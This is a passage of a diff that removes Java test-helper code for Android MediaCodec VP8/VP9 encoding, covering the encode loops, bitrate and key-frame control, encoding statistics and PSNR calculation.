- if (!inputEOS) {
- Log.v(TAG, "Enc" + mId + ". Frame in # " + mInputFrameIndex +
- ". InTime: " + (mInPresentationTimeUs + 500)/1000);
- mInPresentationTimeUs = (mInputFrameIndex * 1000000) / mFrameRate;
- mInputFrameIndex++;
- }
-
- mCodec.queueInputBuffer(
- mInputBufIndex,
- 0, // offset
- encFrameLength, // size
- mInPresentationTimeUs,
- flags);
-
- mConsumedInput = true;
- } else {
- Log.v(TAG, "In " + mId + " - TRY_AGAIN_LATER");
- }
- mCallbackReceived = false;
- }
-
- public boolean feedInput(final byte[] encFrame, final boolean inputEOS) throws Exception {
- runCallable( new Callable<Void>() {
- @Override
- public Void call() throws Exception {
- feedInputInternal(encFrame, inputEOS);
- return null;
- }
- } );
- return mConsumedInput;
- }
-
- private void getOutputInternal() {
- mOutput = new MediaEncoderOutput();
- mOutput.inPresentationTimeUs = mInPresentationTimeUs;
- mOutput.outPresentationTimeUs = mOutPresentationTimeUs;
- mOutput.outputGenerated = false;
-
- // Get output from the encoder
- int result = mCodec.dequeueOutputBuffer(mBufferInfo, mTimeout);
- while (result == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED ||
- result == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
- if (result == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED) {
- mOutputBuffers = mCodec.getOutputBuffers();
- } else if (result == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
- Log.d(TAG, "Format changed: " + mCodec.getOutputFormatString());
- }
- result = mCodec.dequeueOutputBuffer(mBufferInfo, mTimeout);
- }
- if (result == MediaCodec.INFO_TRY_AGAIN_LATER) {
- Log.v(TAG, "Out " + mId + " - TRY_AGAIN_LATER");
- }
-
- if (result >= 0) {
- int outputBufIndex = result;
- mOutput.buffer = new byte[mBufferInfo.size];
- ByteBuffer outputBuffer = mCodec.getOutputBuffer(outputBufIndex);
- outputBuffer.position(mBufferInfo.offset);
- outputBuffer.get(mOutput.buffer, 0, mBufferInfo.size);
- mOutPresentationTimeUs = mBufferInfo.presentationTimeUs;
-
- String logStr = "Enc" + mId + ". Frame # " + mOutputFrameIndex;
- if ((mBufferInfo.flags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG) != 0) {
- logStr += " CONFIG. ";
- }
- if ((mBufferInfo.flags & MediaCodec.BUFFER_FLAG_SYNC_FRAME) != 0) {
- logStr += " KEY. ";
- }
- if ((mBufferInfo.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
- logStr += " EOS. ";
- }
- logStr += " Size: " + mBufferInfo.size;
- logStr += ". InTime: " + (mInPresentationTimeUs + 500)/1000 +
- ". OutTime: " + (mOutPresentationTimeUs + 500)/1000;
- Log.v(TAG, logStr);
- if (mOutputFrameIndex == 0 &&
- ((mBufferInfo.flags & MediaCodec.BUFFER_FLAG_SYNC_FRAME) == 0) ) {
- throw new RuntimeException("First frame is not a sync frame.");
- }
-
- if (mBufferInfo.size > 0) {
- mOutputFrameIndex++;
- mOutput.outPresentationTimeUs = mOutPresentationTimeUs;
- }
- mCodec.releaseOutputBuffer(outputBufIndex, false);
-
- mOutput.flags = mBufferInfo.flags;
- mOutput.outputGenerated = true;
- }
- mCallbackReceived = false;
- }
-
- public MediaEncoderOutput getOutput() throws Exception {
- runCallable( new Callable<Void>() {
- @Override
- public Void call() throws Exception {
- getOutputInternal();
- return null;
- }
- } );
- return mOutput;
- }
-
- public void forceSyncFrame() throws Exception {
- final Bundle syncFrame = new Bundle();
- syncFrame.putInt(MediaCodec.PARAMETER_KEY_REQUEST_SYNC_FRAME, 0);
- runCallable( new Callable<Void>() {
- @Override
- public Void call() throws Exception {
- mCodec.setParameters(syncFrame);
- return null;
- }
- } );
- }
-
- public void updateBitrate(int bitrate) throws Exception {
- final Bundle bitrateUpdate = new Bundle();
- bitrateUpdate.putInt(MediaCodec.PARAMETER_KEY_VIDEO_BITRATE, bitrate);
- runCallable( new Callable<Void>() {
- @Override
- public Void call() throws Exception {
- mCodec.setParameters(bitrateUpdate);
- return null;
- }
- } );
- }
-
-
- public void waitForBufferEvent() throws Exception {
- Log.v(TAG, "----Enc" + mId + " waiting for bufferEvent");
- if (mAsync) {
- synchronized (mCallbackEvent) {
- if (!mCallbackReceived) {
- mCallbackEvent.wait(1000); // wait 1 sec for a callback
- // throw an exception if callback was not received
- if (!mCallbackReceived) {
- throw new RuntimeException("MediaCodec callback was not received");
- }
- }
- }
- } else {
- Thread.sleep(5);
- }
- Log.v(TAG, "----Waiting for bufferEvent done");
- }
-
-
- public void waitForCompletion(long timeoutMs) throws Exception {
- synchronized (mCompletionEvent) {
- long timeoutExpiredMs = System.currentTimeMillis() + timeoutMs;
-
- while (!mCompleted) {
- mCompletionEvent.wait(timeoutExpiredMs - System.currentTimeMillis());
- if (System.currentTimeMillis() >= timeoutExpiredMs) {
- throw new RuntimeException("encoding has timed out!");
- }
- }
- }
- }
-
- public void signalCompletion() {
- synchronized (mCompletionEvent) {
- mCompleted = true;
- mCompletionEvent.notify();
- }
- }
-
- public void deleteCodec() throws Exception {
- runCallable( new Callable<Void>() {
- @Override
- public Void call() throws Exception {
- mCodec.stop();
- mCodec.release();
- return null;
- }
- } );
- if (mAsync) {
- requestStop(); // Stop looper thread
- }
- }
- }
-
- /**
- * Vpx encoding loop supporting encoding single streams with an option
- * to run in a looper thread and use buffer ready notification callbacks.
- *
- * Output stream is described by encodingParams parameters.
- *
- * MediaCodec will raise an IllegalStateException
- * whenever vpx encoder fails to encode a frame.
- *
- * Color format of input file should be YUV420, and frameWidth,
- * frameHeight should be supplied correctly as raw input file doesn't
- * include any header data.
- *
- * @param streamParams Structure with encoder parameters
- * @return Returns array of encoded frames information for each frame.
- */
- protected ArrayList<MediaCodec.BufferInfo> encode(
- EncoderOutputStreamParameters streamParams) throws Exception {
-
- ArrayList<MediaCodec.BufferInfo> bufferInfos = new ArrayList<MediaCodec.BufferInfo>();
- Log.d(TAG, "Source resolution: "+streamParams.frameWidth + " x " +
- streamParams.frameHeight);
- int bitrate = streamParams.bitrateSet[0];
-
- // Create minimal media format signifying desired output.
- MediaFormat format = MediaFormat.createVideoFormat(
- streamParams.codecMimeType, streamParams.frameWidth,
- streamParams.frameHeight);
- format.setInteger(MediaFormat.KEY_BIT_RATE, bitrate);
- CodecProperties properties = getVpxCodecProperties(
- true, format, streamParams.forceGoogleEncoder);
- if (properties == null) {
- return null;
- }
-
- // Open input/output
- InputStream yuvStream = OpenFileOrResourceId(
- streamParams.inputYuvFilename, streamParams.inputResourceId);
- IvfWriter ivf = new IvfWriter(
- streamParams.outputIvfFilename, streamParams.codecMimeType,
- streamParams.frameWidth, streamParams.frameHeight);
-
- // Create a media format signifying desired output.
- if (streamParams.bitrateType == VIDEO_ControlRateConstant) {
- format.setInteger("bitrate-mode", VIDEO_ControlRateConstant); // set CBR
- }
- if (streamParams.temporalLayers > 0) {
- format.setInteger("ts-layers", streamParams.temporalLayers); // 1 temporal layer
- }
- format.setInteger(MediaFormat.KEY_COLOR_FORMAT, properties.colorFormat);
- format.setInteger(MediaFormat.KEY_FRAME_RATE, streamParams.frameRate);
- int syncFrameInterval = (streamParams.syncFrameInterval + streamParams.frameRate/2) /
- streamParams.frameRate;
- format.setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, syncFrameInterval);
-
- // Create encoder
- Log.d(TAG, "Creating encoder " + properties.codecName +
- ". Color format: 0x" + Integer.toHexString(properties.colorFormat)+ " : " +
- streamParams.frameWidth + " x " + streamParams.frameHeight +
- ". Bitrate: " + bitrate + " Bitrate type: " + streamParams.bitrateType +
- ". Fps:" + streamParams.frameRate + ". TS Layers: " + streamParams.temporalLayers +
- ". Key frame:" + syncFrameInterval * streamParams.frameRate +
- ". Force keyFrame: " + streamParams.syncForceFrameInterval);
- Log.d(TAG, " Format: " + format);
- Log.d(TAG, " Output ivf:" + streamParams.outputIvfFilename);
- MediaEncoderAsync codec = new MediaEncoderAsync();
- codec.createCodec(0, properties.codecName, format,
- streamParams.timeoutDequeue, streamParams.runInLooperThread, streamParams.useNdk);
-
- // encode loop
- boolean sawInputEOS = false; // no more data
- boolean consumedInputEOS = false; // EOS flag is consumed dy encoder
- boolean sawOutputEOS = false;
- boolean inputConsumed = true;
- int inputFrameIndex = 0;
- int lastBitrate = bitrate;
- int srcFrameSize = streamParams.frameWidth * streamParams.frameHeight * 3 / 2;
- byte[] srcFrame = new byte[srcFrameSize];
-
- while (!sawOutputEOS) {
-
- // Read and feed input frame
- if (!consumedInputEOS) {
-
- // Read new input buffers - if previous input was consumed and no EOS
- if (inputConsumed && !sawInputEOS) {
- int bytesRead = yuvStream.read(srcFrame);
-
- // Check EOS
- if (streamParams.frameCount > 0 && inputFrameIndex >= streamParams.frameCount) {
- sawInputEOS = true;
- Log.d(TAG, "---Sending EOS empty frame for frame # " + inputFrameIndex);
- }
-
- if (!sawInputEOS && bytesRead == -1) {
- if (streamParams.frameCount == 0) {
- sawInputEOS = true;
- Log.d(TAG, "---Sending EOS empty frame for frame # " + inputFrameIndex);
- } else {
- yuvStream.close();
- yuvStream = OpenFileOrResourceId(
- streamParams.inputYuvFilename, streamParams.inputResourceId);
- bytesRead = yuvStream.read(srcFrame);
- }
- }
-
- // Force sync frame if syncForceFrameinterval is set.
- if (!sawInputEOS && inputFrameIndex > 0 &&
- streamParams.syncForceFrameInterval > 0 &&
- (inputFrameIndex % streamParams.syncForceFrameInterval) == 0) {
- Log.d(TAG, "---Requesting sync frame # " + inputFrameIndex);
- codec.forceSyncFrame();
- }
-
- // Dynamic bitrate change.
- if (!sawInputEOS && streamParams.bitrateSet.length > inputFrameIndex) {
- int newBitrate = streamParams.bitrateSet[inputFrameIndex];
- if (newBitrate != lastBitrate) {
- Log.d(TAG, "--- Requesting new bitrate " + newBitrate +
- " for frame " + inputFrameIndex);
- codec.updateBitrate(newBitrate);
- lastBitrate = newBitrate;
- }
- }
-
- // Convert YUV420 to NV12 if necessary
- if (properties.colorFormat != CodecCapabilities.COLOR_FormatYUV420Planar) {
- srcFrame = YUV420ToNV(streamParams.frameWidth, streamParams.frameHeight,
- srcFrame);
- }
- }
-
- inputConsumed = codec.feedInput(srcFrame, sawInputEOS);
- if (inputConsumed) {
- inputFrameIndex++;
- consumedInputEOS = sawInputEOS;
- }
- }
-
- // Get output from the encoder
- MediaEncoderOutput out = codec.getOutput();
- if (out.outputGenerated) {
- // Detect output EOS
- if ((out.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
- Log.d(TAG, "----Output EOS ");
- sawOutputEOS = true;
- }
-
- if (out.buffer.length > 0) {
- // Save frame
- ivf.writeFrame(out.buffer, out.outPresentationTimeUs);
-
- // Update statistics - store presentation time delay in offset
- long presentationTimeUsDelta = out.inPresentationTimeUs -
- out.outPresentationTimeUs;
- MediaCodec.BufferInfo bufferInfoCopy = new MediaCodec.BufferInfo();
- bufferInfoCopy.set((int)presentationTimeUsDelta, out.buffer.length,
- out.outPresentationTimeUs, out.flags);
- bufferInfos.add(bufferInfoCopy);
- }
- }
-
- // If codec is not ready to accept input/poutput - wait for buffer ready callback
- if ((!inputConsumed || consumedInputEOS) && !out.outputGenerated) {
- codec.waitForBufferEvent();
- }
- }
-
- codec.deleteCodec();
- ivf.close();
- yuvStream.close();
-
- return bufferInfos;
- }
-
- /**
- * Vpx encoding run in a looper thread and use buffer ready callbacks.
- *
- * Output stream is described by encodingParams parameters.
- *
- * MediaCodec will raise an IllegalStateException
- * whenever vpx encoder fails to encode a frame.
- *
- * Color format of input file should be YUV420, and frameWidth,
- * frameHeight should be supplied correctly as raw input file doesn't
- * include any header data.
- *
- * @param streamParams Structure with encoder parameters
- * @return Returns array of encoded frames information for each frame.
- */
- protected ArrayList<MediaCodec.BufferInfo> encodeAsync(
- EncoderOutputStreamParameters streamParams) throws Exception {
- if (!streamParams.runInLooperThread) {
- throw new RuntimeException("encodeAsync should run with a looper thread!");
- }
-
- ArrayList<MediaCodec.BufferInfo> bufferInfos = new ArrayList<MediaCodec.BufferInfo>();
- Log.d(TAG, "Source resolution: "+streamParams.frameWidth + " x " +
- streamParams.frameHeight);
- int bitrate = streamParams.bitrateSet[0];
-
- // Create minimal media format signifying desired output.
- MediaFormat format = MediaFormat.createVideoFormat(
- streamParams.codecMimeType, streamParams.frameWidth,
- streamParams.frameHeight);
- format.setInteger(MediaFormat.KEY_BIT_RATE, bitrate);
- CodecProperties properties = getVpxCodecProperties(
- true, format, streamParams.forceGoogleEncoder);
- if (properties == null) {
- return null;
- }
-
- // Open input/output
- IvfWriter ivf = new IvfWriter(
- streamParams.outputIvfFilename, streamParams.codecMimeType,
- streamParams.frameWidth, streamParams.frameHeight);
-
- // Create a media format signifying desired output.
- if (streamParams.bitrateType == VIDEO_ControlRateConstant) {
- format.setInteger("bitrate-mode", VIDEO_ControlRateConstant); // set CBR
- }
- if (streamParams.temporalLayers > 0) {
- format.setInteger("ts-layers", streamParams.temporalLayers); // 1 temporal layer
- }
- format.setInteger(MediaFormat.KEY_COLOR_FORMAT, properties.colorFormat);
- format.setInteger(MediaFormat.KEY_FRAME_RATE, streamParams.frameRate);
- int syncFrameInterval = (streamParams.syncFrameInterval + streamParams.frameRate/2) /
- streamParams.frameRate;
- format.setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, syncFrameInterval);
-
- // Create encoder
- Log.d(TAG, "Creating encoder " + properties.codecName +
- ". Color format: 0x" + Integer.toHexString(properties.colorFormat)+ " : " +
- streamParams.frameWidth + " x " + streamParams.frameHeight +
- ". Bitrate: " + bitrate + " Bitrate type: " + streamParams.bitrateType +
- ". Fps:" + streamParams.frameRate + ". TS Layers: " + streamParams.temporalLayers +
- ". Key frame:" + syncFrameInterval * streamParams.frameRate +
- ". Force keyFrame: " + streamParams.syncForceFrameInterval);
- Log.d(TAG, " Format: " + format);
- Log.d(TAG, " Output ivf:" + streamParams.outputIvfFilename);
-
- MediaEncoderAsync codec = new MediaEncoderAsync();
- MediaEncoderAsyncHelper helper = new MediaEncoderAsyncHelper(
- streamParams, properties, bufferInfos, ivf);
-
- codec.setAsyncHelper(helper);
- codec.createCodec(0, properties.codecName, format,
- streamParams.timeoutDequeue, streamParams.runInLooperThread, streamParams.useNdk);
- codec.waitForCompletion(DEFAULT_ENCODE_TIMEOUT_MS);
-
- codec.deleteCodec();
- ivf.close();
-
- return bufferInfos;
- }
-
- /**
- * Vpx encoding loop supporting encoding multiple streams at a time.
- * Each output stream is described by encodingParams parameters allowing
- * simultaneous encoding of various resolutions, bitrates with an option to
- * control key frame and dynamic bitrate for each output stream indepandently.
- *
- * MediaCodec will raise an IllegalStateException
- * whenever vpx encoder fails to encode a frame.
- *
- * Color format of input file should be YUV420, and frameWidth,
- * frameHeight should be supplied correctly as raw input file doesn't
- * include any header data.
- *
- * @param srcFrameWidth Frame width of input yuv file
- * @param srcFrameHeight Frame height of input yuv file
- * @param encodingParams Encoder parameters
- * @return Returns 2D array of encoded frames information for each stream and
- * for each frame.
- */
- protected ArrayList<ArrayList<MediaCodec.BufferInfo>> encodeSimulcast(
- int srcFrameWidth,
- int srcFrameHeight,
- ArrayList<EncoderOutputStreamParameters> encodingParams) throws Exception {
- int numEncoders = encodingParams.size();
-
- // Create arrays of input/output, formats, bitrates etc
- ArrayList<ArrayList<MediaCodec.BufferInfo>> bufferInfos =
- new ArrayList<ArrayList<MediaCodec.BufferInfo>>(numEncoders);
- InputStream yuvStream[] = new InputStream[numEncoders];
- IvfWriter[] ivf = new IvfWriter[numEncoders];
- FileOutputStream[] yuvScaled = new FileOutputStream[numEncoders];
- MediaFormat[] format = new MediaFormat[numEncoders];
- MediaEncoderAsync[] codec = new MediaEncoderAsync[numEncoders];
- int[] inputFrameIndex = new int[numEncoders];
- boolean[] sawInputEOS = new boolean[numEncoders];
- boolean[] consumedInputEOS = new boolean[numEncoders];
- boolean[] inputConsumed = new boolean[numEncoders];
- boolean[] bufferConsumed = new boolean[numEncoders];
- boolean[] sawOutputEOS = new boolean[numEncoders];
- byte[][] srcFrame = new byte[numEncoders][];
- boolean sawOutputEOSTotal = false;
- boolean bufferConsumedTotal = false;
- CodecProperties[] codecProperties = new CodecProperties[numEncoders];
-
- numEncoders = 0;
- for (EncoderOutputStreamParameters params : encodingParams) {
- int i = numEncoders;
- Log.d(TAG, "Source resolution: " + params.frameWidth + " x " +
- params.frameHeight);
- int bitrate = params.bitrateSet[0];
-
- // Create minimal media format signifying desired output.
- format[i] = MediaFormat.createVideoFormat(
- params.codecMimeType, params.frameWidth,
- params.frameHeight);
- format[i].setInteger(MediaFormat.KEY_BIT_RATE, bitrate);
- CodecProperties properties = getVpxCodecProperties(
- true, format[i], params.forceGoogleEncoder);
- if (properties == null) {
- continue;
- }
-
- // Check if scaled image was created
- int scale = params.frameWidth / srcFrameWidth;
- if (!mScaledImages.contains(scale)) {
- // resize image
- cacheScaledImage(params.inputYuvFilename, params.inputResourceId,
- srcFrameWidth, srcFrameHeight,
- params.scaledYuvFilename, params.frameWidth, params.frameHeight);
- mScaledImages.add(scale);
- }
-
- // Create buffer info storage
- bufferInfos.add(new ArrayList<MediaCodec.BufferInfo>());
-
- // Create YUV reader
- yuvStream[i] = new FileInputStream(params.scaledYuvFilename);
-
- // Create IVF writer
- ivf[i] = new IvfWriter(
- params.outputIvfFilename, params.codecMimeType,
- params.frameWidth, params.frameHeight);
-
- // Frame buffer
- int frameSize = params.frameWidth * params.frameHeight * 3 / 2;
- srcFrame[i] = new byte[frameSize];
-
- // Create a media format signifying desired output.
- if (params.bitrateType == VIDEO_ControlRateConstant) {
- format[i].setInteger("bitrate-mode", VIDEO_ControlRateConstant); // set CBR
- }
- if (params.temporalLayers > 0) {
- format[i].setInteger("ts-layers", params.temporalLayers); // 1 temporal layer
- }
- format[i].setInteger(MediaFormat.KEY_COLOR_FORMAT, properties.colorFormat);
- format[i].setInteger(MediaFormat.KEY_FRAME_RATE, params.frameRate);
- int syncFrameInterval = (params.syncFrameInterval + params.frameRate/2) /
- params.frameRate; // in sec
- format[i].setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, syncFrameInterval);
- // Create encoder
- Log.d(TAG, "Creating encoder #" + i +" : " + properties.codecName +
- ". Color format: 0x" + Integer.toHexString(properties.colorFormat)+ " : " +
- params.frameWidth + " x " + params.frameHeight +
- ". Bitrate: " + bitrate + " Bitrate type: " + params.bitrateType +
- ". Fps:" + params.frameRate + ". TS Layers: " + params.temporalLayers +
- ". Key frame:" + syncFrameInterval * params.frameRate +
- ". Force keyFrame: " + params.syncForceFrameInterval);
- Log.d(TAG, " Format: " + format[i]);
- Log.d(TAG, " Output ivf:" + params.outputIvfFilename);
-
- // Create encoder
- codec[i] = new MediaEncoderAsync();
- codec[i].createCodec(i, properties.codecName, format[i],
- params.timeoutDequeue, params.runInLooperThread, params.useNdk);
- codecProperties[i] = new CodecProperties(properties.codecName, properties.colorFormat);
-
- inputConsumed[i] = true;
- ++numEncoders;
- }
- if (numEncoders == 0) {
- Log.i(TAG, "no suitable encoders found for any of the streams");
- return null;
- }
-
- while (!sawOutputEOSTotal) {
- // Feed input buffer to all encoders
- for (int i = 0; i < numEncoders; i++) {
- bufferConsumed[i] = false;
- if (consumedInputEOS[i]) {
- continue;
- }
-
- EncoderOutputStreamParameters params = encodingParams.get(i);
- // Read new input buffers - if previous input was consumed and no EOS
- if (inputConsumed[i] && !sawInputEOS[i]) {
- int bytesRead = yuvStream[i].read(srcFrame[i]);
-
- // Check EOS
- if (params.frameCount > 0 && inputFrameIndex[i] >= params.frameCount) {
- sawInputEOS[i] = true;
- Log.d(TAG, "---Enc" + i +
- ". Sending EOS empty frame for frame # " + inputFrameIndex[i]);
- }
-
- if (!sawInputEOS[i] && bytesRead == -1) {
- if (params.frameCount == 0) {
- sawInputEOS[i] = true;
- Log.d(TAG, "---Enc" + i +
- ". Sending EOS empty frame for frame # " + inputFrameIndex[i]);
- } else {
- yuvStream[i].close();
- yuvStream[i] = new FileInputStream(params.scaledYuvFilename);
- bytesRead = yuvStream[i].read(srcFrame[i]);
- }
- }
-
- // Convert YUV420 to NV12 if necessary
- if (codecProperties[i].colorFormat !=
- CodecCapabilities.COLOR_FormatYUV420Planar) {
- srcFrame[i] =
- YUV420ToNV(params.frameWidth, params.frameHeight, srcFrame[i]);
- }
- }
-
- inputConsumed[i] = codec[i].feedInput(srcFrame[i], sawInputEOS[i]);
- if (inputConsumed[i]) {
- inputFrameIndex[i]++;
- consumedInputEOS[i] = sawInputEOS[i];
- bufferConsumed[i] = true;
- }
-
- }
-
- // Get output from all encoders
- for (int i = 0; i < numEncoders; i++) {
- if (sawOutputEOS[i]) {
- continue;
- }
-
- MediaEncoderOutput out = codec[i].getOutput();
- if (out.outputGenerated) {
- bufferConsumed[i] = true;
- // Detect output EOS
- if ((out.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
- Log.d(TAG, "----Enc" + i + ". Output EOS ");
- sawOutputEOS[i] = true;
- }
-
- if (out.buffer.length > 0) {
- // Save frame
- ivf[i].writeFrame(out.buffer, out.outPresentationTimeUs);
-
- // Update statistics - store presentation time delay in offset
- long presentationTimeUsDelta = out.inPresentationTimeUs -
- out.outPresentationTimeUs;
- MediaCodec.BufferInfo bufferInfoCopy = new MediaCodec.BufferInfo();
- bufferInfoCopy.set((int)presentationTimeUsDelta, out.buffer.length,
- out.outPresentationTimeUs, out.flags);
- bufferInfos.get(i).add(bufferInfoCopy);
- }
- }
- }
-
- // If codec is not ready to accept input/output - wait for buffer ready callback
- bufferConsumedTotal = false;
- for (boolean bufferConsumedCurrent : bufferConsumed) {
- bufferConsumedTotal |= bufferConsumedCurrent;
- }
- if (!bufferConsumedTotal) {
- // Pick the encoder to wait for
- for (int i = 0; i < numEncoders; i++) {
- if (!bufferConsumed[i] && !sawOutputEOS[i]) {
- codec[i].waitForBufferEvent();
- break;
- }
- }
- }
-
- // Check if EOS happened for all encoders
- sawOutputEOSTotal = true;
- for (boolean sawOutputEOSStream : sawOutputEOS) {
- sawOutputEOSTotal &= sawOutputEOSStream;
- }
- }
-
- for (int i = 0; i < numEncoders; i++) {
- codec[i].deleteCodec();
- ivf[i].close();
- yuvStream[i].close();
- if (yuvScaled[i] != null) {
- yuvScaled[i].close();
- }
- }
-
- return bufferInfos;
- }
-
- /**
- * Some encoding statistics.
- */
- protected class VpxEncodingStatistics {
- VpxEncodingStatistics() {
- mBitrates = new ArrayList<Integer>();
- mFrames = new ArrayList<Integer>();
- mKeyFrames = new ArrayList<Integer>();
- mMinimumKeyFrameInterval = Integer.MAX_VALUE;
- }
-
- public ArrayList<Integer> mBitrates;// Bitrate values for each second of the encoded stream.
- public ArrayList<Integer> mFrames; // Number of frames in each second of the encoded stream.
- public int mAverageBitrate; // Average stream bitrate.
- public ArrayList<Integer> mKeyFrames;// Stores the position of key frames in a stream.
- public int mAverageKeyFrameInterval; // Average key frame interval.
- public int mMaximumKeyFrameInterval; // Maximum key frame interval.
- public int mMinimumKeyFrameInterval; // Minimum key frame interval.
- }
-
- /**
- * Calculates average bitrate and key frame interval for the encoded streams.
- * Output mBitrates field will contain bitrate values for every second
- * of the encoded stream.
- * Average stream bitrate will be stored in mAverageBitrate field.
- * mKeyFrames array will contain the position of key frames in the encoded stream and
- * mKeyFrameInterval - average key frame interval.
- */
- protected VpxEncodingStatistics computeEncodingStatistics(int encoderId,
- ArrayList<MediaCodec.BufferInfo> bufferInfos ) {
- VpxEncodingStatistics statistics = new VpxEncodingStatistics();
-
- int totalSize = 0;
- int frames = 0;
- int framesPerSecond = 0;
- int totalFrameSizePerSecond = 0;
- int maxFrameSize = 0;
- int currentSecond;
- int nextSecond = 0;
- String keyFrameList = " IFrame List: ";
- String bitrateList = " Bitrate list: ";
- String framesList = " FPS list: ";
-
-
- for (int j = 0; j < bufferInfos.size(); j++) {
- MediaCodec.BufferInfo info = bufferInfos.get(j);
- currentSecond = (int)(info.presentationTimeUs / 1000000);
- boolean lastFrame = (j == bufferInfos.size() - 1);
- if (!lastFrame) {
- nextSecond = (int)(bufferInfos.get(j+1).presentationTimeUs / 1000000);
- }
-
- totalSize += info.size;
- totalFrameSizePerSecond += info.size;
- maxFrameSize = Math.max(maxFrameSize, info.size);
- framesPerSecond++;
- frames++;
-
- // Update the bitrate statistics if the next frame will
- // be for the next second
- if (lastFrame || nextSecond > currentSecond) {
- int currentBitrate = totalFrameSizePerSecond * 8;
- bitrateList += (currentBitrate + " ");
- framesList += (framesPerSecond + " ");
- statistics.mBitrates.add(currentBitrate);
- statistics.mFrames.add(framesPerSecond);
- totalFrameSizePerSecond = 0;
- framesPerSecond = 0;
- }
-
- // Update key frame statistics.
- if ((info.flags & MediaCodec.BUFFER_FLAG_SYNC_FRAME) != 0) {
- statistics.mKeyFrames.add(j);
- keyFrameList += (j + " ");
- }
- }
- int duration = (int)(bufferInfos.get(bufferInfos.size() - 1).presentationTimeUs / 1000);
- duration = (duration + 500) / 1000;
- statistics.mAverageBitrate = (int)(((long)totalSize * 8) / duration);
- Log.d(TAG, "Statistics for encoder # " + encoderId);
- // Calculate average key frame interval in frames.
- int keyFrames = statistics.mKeyFrames.size();
- if (keyFrames > 1) {
- statistics.mAverageKeyFrameInterval =
- statistics.mKeyFrames.get(keyFrames - 1) - statistics.mKeyFrames.get(0);
- statistics.mAverageKeyFrameInterval =
- Math.round((float)statistics.mAverageKeyFrameInterval / (keyFrames - 1));
- for (int j = 1; j < keyFrames; j++) {
- int keyFrameInterval =
- statistics.mKeyFrames.get(j) - statistics.mKeyFrames.get(j - 1);
- statistics.mMaximumKeyFrameInterval =
- Math.max(statistics.mMaximumKeyFrameInterval, keyFrameInterval);
- statistics.mMinimumKeyFrameInterval =
- Math.min(statistics.mMinimumKeyFrameInterval, keyFrameInterval);
- }
- Log.d(TAG, " Key frame intervals: Max: " + statistics.mMaximumKeyFrameInterval +
- ". Min: " + statistics.mMinimumKeyFrameInterval +
- ". Avg: " + statistics.mAverageKeyFrameInterval);
- }
- Log.d(TAG, " Frames: " + frames + ". Duration: " + duration +
- ". Total size: " + totalSize + ". Key frames: " + keyFrames);
- Log.d(TAG, keyFrameList);
- Log.d(TAG, bitrateList);
- Log.d(TAG, framesList);
- Log.d(TAG, " Bitrate average: " + statistics.mAverageBitrate);
- Log.d(TAG, " Maximum frame size: " + maxFrameSize);
-
- return statistics;
- }
-
- protected VpxEncodingStatistics computeEncodingStatistics(
- ArrayList<MediaCodec.BufferInfo> bufferInfos ) {
- return computeEncodingStatistics(0, bufferInfos);
- }
-
- protected ArrayList<VpxEncodingStatistics> computeSimulcastEncodingStatistics(
- ArrayList<ArrayList<MediaCodec.BufferInfo>> bufferInfos) {
- int numCodecs = bufferInfos.size();
- ArrayList<VpxEncodingStatistics> statistics = new ArrayList<VpxEncodingStatistics>();
-
- for (int i = 0; i < numCodecs; i++) {
- VpxEncodingStatistics currentStatistics =
- computeEncodingStatistics(i, bufferInfos.get(i));
- statistics.add(currentStatistics);
- }
- return statistics;
- }
-
- /**
- * Calculates maximum latency for encoder/decoder based on buffer info array
- * generated either by encoder or decoder.
- */
- protected int maxPresentationTimeDifference(ArrayList<MediaCodec.BufferInfo> bufferInfos) {
- int maxValue = 0;
- for (MediaCodec.BufferInfo bufferInfo : bufferInfos) {
- maxValue = Math.max(maxValue, bufferInfo.offset);
- }
- maxValue = (maxValue + 500) / 1000; // mcs -> ms
- return maxValue;
- }
-
- /**
- * Decoding PSNR statistics.
- */
- protected class VpxDecodingStatistics {
- VpxDecodingStatistics() {
- mMinimumPSNR = Integer.MAX_VALUE;
- }
- public double mAveragePSNR;
- public double mMinimumPSNR;
- }
-
- /**
- * Calculates PSNR value between two video frames.
- */
- private double computePSNR(byte[] data0, byte[] data1) {
- long squareError = 0;
- assertTrue(data0.length == data1.length);
- int length = data0.length;
- for (int i = 0 ; i < length; i++) {
- int diff = ((int)data0[i] & 0xff) - ((int)data1[i] & 0xff);
- squareError += diff * diff;
- }
- double meanSquareError = (double)squareError / length;
- double psnr = 10 * Math.log10((double)255 * 255 / meanSquareError);
- return psnr;
- }
-
- /**
- * Calculates average and minimum PSNR values between
- * set of reference and decoded video frames.
- * Runs PSNR calculation for the full duration of the decoded data.
- */
- protected VpxDecodingStatistics computeDecodingStatistics(
- String referenceYuvFilename,
- int referenceYuvRawId,
- String decodedYuvFilename,
- int width,
- int height) throws Exception {
- VpxDecodingStatistics statistics = new VpxDecodingStatistics();
- InputStream referenceStream =
- OpenFileOrResourceId(referenceYuvFilename, referenceYuvRawId);
- InputStream decodedStream = new FileInputStream(decodedYuvFilename);
-
- int ySize = width * height;
- int uvSize = width * height / 4;
- byte[] yRef = new byte[ySize];
- byte[] yDec = new byte[ySize];
- byte[] uvRef = new byte[uvSize];
- byte[] uvDec = new byte[uvSize];
-
- int frames = 0;
- double averageYPSNR = 0;
- double averageUPSNR = 0;
- double averageVPSNR = 0;
- double minimumYPSNR = Integer.MAX_VALUE;
- double minimumUPSNR = Integer.MAX_VALUE;
- double minimumVPSNR = Integer.MAX_VALUE;
- int minimumPSNRFrameIndex = 0;
-
- while (true) {
- // Calculate Y PSNR.
- int bytesReadRef = referenceStream.read(yRef);
- int bytesReadDec = decodedStream.read(yDec);
- if (bytesReadDec == -1) {
- break;
- }
- if (bytesReadRef == -1) {
- // Reference file wrapping up
- referenceStream.close();
- referenceStream =
- OpenFileOrResourceId(referenceYuvFilename, referenceYuvRawId);
- bytesReadRef = referenceStream.read(yRef);
- }
- double curYPSNR = computePSNR(yRef, yDec);
- averageYPSNR += curYPSNR;
- minimumYPSNR = Math.min(minimumYPSNR, curYPSNR);
